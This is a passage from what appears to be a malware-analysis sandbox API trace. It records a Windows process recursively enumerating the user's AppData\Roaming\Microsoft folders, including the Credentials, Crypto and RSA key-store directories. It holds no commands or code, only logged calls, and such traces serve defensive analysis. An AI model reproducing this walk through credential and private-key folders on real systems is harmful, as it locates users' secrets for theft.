lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa82ed810, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa82ed810, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0068.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2b [0068.686] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.687] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x32 [0068.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\addins"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ac2470, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x14ac2470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x14ac2470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x32 [0068.687] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.687] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.687] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x32 [0068.688] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.688] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.688] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.688] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", lpFilePart=0x0) returned 0x32 [0068.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\clview"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d87d4f0, ftCreationTime.dwHighDateTime=0x1d3005c, ftLastAccessTime.dwLowDateTime=0x6d87d4f0, ftLastAccessTime.dwHighDateTime=0x1d3005c, ftLastWriteTime.dwLowDateTime=0x6d87d4f0, ftLastWriteTime.dwHighDateTime=0x1d3005c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", lpFilePart=0x0) returned 0x32 [0068.688] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.689] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.689] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.689] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.689] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", lpFilePart=0x0) returned 0x37 [0068.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\clview\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d87d4f0, ftCreationTime.dwHighDateTime=0x1d3005c, ftLastAccessTime.dwLowDateTime=0x6d87d4f0, ftLastAccessTime.dwHighDateTime=0x1d3005c, ftLastWriteTime.dwLowDateTime=0x6d87d4f0, ftLastWriteTime.dwHighDateTime=0x1d3005c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", lpFilePart=0x0) returned 0x37 [0068.689] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.689] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.689] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.689] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033", lpFilePart=0x0) returned 0x37 [0068.690] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.690] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.690] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.690] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView", lpFilePart=0x0) returned 0x32 [0068.690] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\CLView\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.690] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.690] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.690] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.690] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x37 [0068.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\credentials"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x37 [0068.691] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.691] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.691] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.691] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x37 [0068.691] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.691] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.691] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.691] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x32 [0068.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\crypto"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x32 [0068.692] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.692] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.692] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.692] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.692] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x36 [0068.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\crypto\\rsa"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xd17712c0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xd17712c0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x36 [0068.692] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.692] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.692] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.692] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.692] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x65 [0068.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1534390919-4215197118-2202912847-1000"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xd17712c0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x4b03f510, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x4b03f510, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x65 [0068.693] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.693] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.693] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.693] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.693] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.694] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.694] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.694] SetThreadErrorMode 